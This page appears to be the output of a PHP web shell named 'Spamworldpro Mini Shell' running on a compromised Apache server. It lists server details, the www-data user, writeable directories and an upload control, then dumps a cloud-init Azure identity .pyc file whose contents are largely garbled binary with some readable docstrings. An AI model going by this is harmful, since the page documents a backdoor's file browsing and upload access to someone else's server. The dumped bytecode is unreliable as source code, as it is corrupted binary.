Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/identity.cpython-310.pyc
o

}��f��@s�ddlZddlZddlZddlZddlmZddlmZddlm	Z	e�
e�Zde
de
fdd�Zde
de
fd	d
�Zdefdd�Zde
fd
d�Zde
fdd�ZGdd�dej�ZdS)�N)�Optional)�dmi)�report_diagnostic_event�system_uuid�returncCsJzt�|�}Wntyd|��}t|tjd��wttj|jd��S)a�Byte swap system uuid.

    Azure always uses little-endian for the first three fields in the uuid.
    This behavior was made strict in SMBIOS 2.6+, but Linux and dmidecode
    follow RFC 4122 and assume big-endian for earlier SMBIOS versions.

    Azure's gen1 VMs use SMBIOS 2.3 which requires byte swapping to match
    compute.vmId presented by IMDS.

    Azure's gen2 VMs use SMBIOS 3.1 which does not require byte swapping.

    :raises ValueError: if UUID is invalid.
    zFailed to parse system uuid: ��logger_func)�bytes)�uuid�UUID�
ValueErrorr�LOG�error�str�bytes_le)r�
original_uuid�msg�r�B/usr/lib/python3/dist-packages/cloudinit/sources/azure/identity.py�byte_swap_system_uuids
�rcCst�rt|�S|S)z!Determine VM ID from system uuid.)�
is_vm_gen1r�rrrr�convert_system_uuid_to_vm_id)srcCs$tj�d�rdStj�d�rdSdS)zZDetermine if VM is gen1 or gen2.

    Gen2 guests use UEFI while gen1 is legacy BIOS.
    z/sys/firmware/efiFz/dev/efiT)�os�path�existsrrrrr1s
rcCs2t�d�}|dur
td��|��}t�d|�|S)z Query system uuid in lower-case.zsystem-uuidNzfailed to read system-uuidzRead product uuid: %s)r�
read_dmi_data�RuntimeError�lowerr
�debugrrrr�query_system_uuidAs
r cCst�}t|�S)zQuery VM ID from system.)r rrrrr�query_vm_idMsr!c@s&eZdZdZededfdd��ZdS)�ChassisAssetTagz 7783-7084-3265-9085-8269-3286-77rcCsZt�d�}z||�}Wntytd|tjd�YdSwtd||jftjd�|S)z�Check platform environment to report if this datasource may run.

        :returns: ChassisAssetTag if matching tag found, else None.
        zchassis-asset-tagzNon-Azure chassis asset tag: %rrNz Azure chassis asset tag: %r (%s))rrrrr
r�name)�cls�	asset_tag�tagrrr�query_systemVs
���zChassisAssetTag.query_systemN)�__name__�
__module__�__qualname__�AZURE_CLOUD�classmethodrr'rrrrr"Ssr")�enum�loggingrr
�typingr�	cloudinitr�cloudinit.sources.helpers.azurer�	getLoggerr(r
rrr�boolrr r!�Enumr"rrrr�<module>s


Spamworldpro Mini